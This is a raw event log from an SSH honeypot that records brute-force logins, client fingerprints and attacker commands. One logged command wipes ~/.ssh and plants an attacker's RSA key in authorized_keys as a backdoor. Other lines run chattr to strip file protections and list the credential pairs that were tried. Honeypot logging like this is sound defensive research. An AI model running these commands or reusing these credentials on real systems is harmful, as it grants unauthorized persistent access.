{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:53.565680Z","src_ip":"101.44.96.62","session":"626bb4c930ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:53.567751Z","src_ip":"101.44.96.62","session":"626bb4c930ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:53.787714Z","src_ip":"101.44.96.62","session":"626bb4c930ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:53.792365Z","src_ip":"101.44.96.62","session":"626bb4c930ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":48514,"dst_ip":"159.203.135.109","dst_port":22,"session":"917bf793f4db","protocol":"ssh","message":"New connection: 101.44.96.62:48514 (159.203.135.109:22) [session: 917bf793f4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:05.708267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:05.712423Z","src_ip":"101.44.96.62","session":"917bf793f4db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:05.929226Z","src_ip":"101.44.96.62","session":"917bf793f4db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:06.580839Z","src_ip":"101.44.96.62","session":"917bf793f4db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:07.800729Z","src_ip":"101.44.96.62","session":"917bf793f4db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":33502,"dst_ip":"159.203.135.109","dst_port":22,"session":"535a2e1d65e1","protocol":"ssh","message":"New connection: 81.192.46.32:33502 (159.203.135.109:22) [session: 535a2e1d65e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:13.301047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:13.306632Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:13.417836Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"345ert#$%ERT","message":"login attempt [root/345ert#$%ERT] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:13.888102Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.136432Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.139269Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.142947Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.255620Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.502029Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.505026Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.617875Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.621572Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":33508,"dst_ip":"159.203.135.109","dst_port":22,"session":"52d121387072","protocol":"ssh","message":"New connection: 81.192.46.32:33508 (159.203.135.109:22) [session: 52d121387072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.723525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.726710Z","src_ip":"81.192.46.32","session":"52d121387072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:14.835949Z","src_ip":"81.192.46.32","session":"52d121387072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:15.303642Z","src_ip":"81.192.46.32","session":"52d121387072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:16.416117Z","src_ip":"81.192.46.32","session":"52d121387072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":33512,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4f499c04f76","protocol":"ssh","message":"New connection: 81.192.46.32:33512 (159.203.135.109:22) [session: b4f499c04f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:16.521705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:16.525452Z","src_ip":"81.192.46.32","session":"b4f499c04f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:16.637238Z","src_ip":"81.192.46.32","session":"b4f499c04f76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:17.107705Z","src_ip":"81.192.46.32","session":"b4f499c04f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:17.220184Z","src_ip":"81.192.46.32","session":"535a2e1d65e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:17.224745Z","src_ip":"81.192.46.32","session":"b4f499c04f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57062,"dst_ip":"159.203.135.109","dst_port":22,"session":"399e14e167d4","protocol":"ssh","message":"New connection: 101.44.96.62:57062 (159.203.135.109:22) [session: 399e14e167d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:19.219649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:19.223857Z","src_ip":"101.44.96.62","session":"399e14e167d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:19.440844Z","src_ip":"101.44.96.62","session":"399e14e167d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:20.091975Z","src_ip":"101.44.96.62","session":"399e14e167d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:21.311527Z","src_ip":"101.44.96.62","session":"399e14e167d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.196","src_port":45910,"dst_ip":"159.203.135.109","dst_port":22,"session":"1648ab5a0a3e","protocol":"ssh","message":"New connection: 2.57.122.196:45910 (159.203.135.109:22) [session: 1648ab5a0a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:30.361447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:30.369281Z","src_ip":"2.57.122.196","session":"1648ab5a0a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:30.474757Z","src_ip":"2.57.122.196","session":"1648ab5a0a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:30.929613Z","src_ip":"2.57.122.196","session":"1648ab5a0a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43250,"dst_ip":"159.203.135.109","dst_port":22,"session":"949dada26c97","protocol":"ssh","message":"New connection: 101.44.96.62:43250 (159.203.135.109:22) [session: 949dada26c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:32.766558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:03:32.770615Z","src_ip":"101.44.96.62","session":"949dada26c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed